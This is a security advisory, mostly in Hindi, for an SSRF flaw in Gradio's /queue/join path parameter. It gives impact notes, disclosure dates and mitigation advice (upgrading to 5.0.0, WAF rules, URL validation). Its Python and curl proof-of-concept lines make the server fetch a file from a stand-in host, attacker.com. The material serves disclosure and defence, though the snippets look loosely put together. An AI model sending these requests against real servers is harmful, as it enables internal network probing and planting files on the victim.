Gradio `/queue/join` पाथ पैरामीटर में SSRF के प्रति संवेदनशील है

इस SSRF भेद्यता के कारण, हमलावर Gradio सर्वर को आंतरिक नेटवर्क के भीतर स्थित आंतरिक सर्वरों या सेवाओं को लक्षित करने के लिए उपयोग कर सकते हैं। वे संवेदनशील डेटा को निकालने या अनचाहे आंतरिक अनुरोधों को ट्रिगर करने में सक्षम हो सकते हैं। इसके अतिरिक्त, इन URL से सामग्री को स्थानीय रूप से संग्रहीत किया जाता है, जिससे हमलावरों के लिए संभावित रूप से दुर्भावनापूर्ण फ़ाइलों को सर्वर पर अपलोड करना आसान हो जाता है। यह भेद्यता डेटा उल्लंघनों, अनधिकृत पहुंच और संभावित रूप से सिस्टम समझौता करने का कारण बन सकती है।

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. आरक्षित2024-09-19
2. प्रकाशित2024-10-10
3. संशोधित2025-01-21
4. EPSS अद्यतन2026-04-02

Gradio के संस्करण 5.0.0 में अपग्रेड करना इस भेद्यता को ठीक करने का सबसे प्रभावी तरीका है। यदि अपग्रेड संभव नहीं है, तो /queue/join एंडपॉइंट तक पहुंच को सीमित करने के लिए वेब एप्लिकेशन फ़ायरवॉल (WAF) या प्रॉक्सी नियमों का उपयोग करने पर विचार करें। सुनिश्चित करें कि Gradio सर्वर को केवल आवश्यक आंतरिक संसाधनों तक ही पहुंच प्राप्त है। URL सत्यापन और इनपुट सैनिटाइजेशन लागू करें ताकि हमलावरों को मनमाना URL निर्दिष्ट करने से रोका जा सके। अपग्रेड के बाद, यह सत्यापित करें कि भेद्यता ठीक हो गई है, /queue/join एंडपॉइंट पर एक अनुरोध भेजकर जो एक आंतरिक संसाधन को लक्षित करता है और सुनिश्चित करता है कि अनुरोध विफल हो जाता है।